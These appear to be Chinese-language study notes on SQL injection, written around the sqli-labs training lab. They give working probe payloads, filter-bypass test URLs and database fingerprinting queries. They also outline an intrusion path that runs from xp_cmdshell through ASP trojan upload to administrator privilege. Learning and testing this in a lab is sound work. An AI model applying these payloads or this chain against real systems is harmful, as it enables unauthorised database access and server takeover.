1.发现SQL注入位置
1)整型参数的判断
永假条件:?p=1 and 1=2
永真条件:?p=1 and 1=1
空条件:?p=1 or 1=1
2)字符型参数的判断
永假条件:?p=1' and '1'='2
永真条件:?p=1' and '1'='1
空条件:?p=1' or '1'='1
3)过滤特殊字符的判断
确认过滤了#
http://localhost/sqli-labs/Less-26/?id=%231
确认过滤了or
http://localhost/sqli-labs/Less-26/?id=or1
确认过滤多行注释符
http://localhost/sqli-labs/Less-26/?id=/*1
确认过滤了单行注释
http://localhost/sqli-labs/Less-26/?id=--1
确认过滤了斜杠
http://localhost/sqli-labs/Less-26/?id=/1
确认过滤了反斜杠
http://localhost/sqli-labs/Less-26/?id=1\
确认过滤了空格
http://localhost/sqli-labs/Less-26/?id=1' ' '
ascii编码:把输入 的字符用ascii码代替,如U=char(85)
2.判断后台数据库类型
MSSQL备忘单:
select @@version; 查看版本
select db_name(); 获取当前数据库
select user; 获取当前用户
select grantee,table_name,privilege_type from information_schema.table_privileges; 查看当前用户权限
MySQL备忘单:
select @@version; 查看版本
select database(); 查看当前数据库
select user(); 查看当前用户
select * from information_schema.user_privileges where grantee='xxxx'; 查看当前用户权限
select grantee,privilege_type,is_grantable from information_schema.user_privileges; 当前用户权限
Oracle备忘单:
select banner from v$version; 查看版本
select sys_context('userenv', 'db_name') from dual; 查看当前数据库
select user from dual; 查看当前用户
select privilege from session_privs; 查看当前用户的权限
2)利用系统表
access的系统表是msysobjects,在web环境下没有访问权限
SQL server的系统表是sysobjects,在web环境下有访问权限
MSSQL三个关键系统表:sysdatabases,sysobjects,syscolumns
3.确定xp_cmdshell可执行
4.发现web虚拟目录
1)根据经验猜解:
web虚拟目录:c:\inetpub\wwwroot;D:\inetpub\wwwroot;等
可执行虚拟目录:c:\inetpub\scripts; D:\inetpub\scripts;等
5.上传asp木马(一段有特殊功能的asp代码,放入web虚拟目录的scripts下,远程客户端可执行它,进而得到系统的user权限)
6.得到管理员权限(asp木马只有user权限,要想获取对系统的完全控制,还有有系统的管理员权限)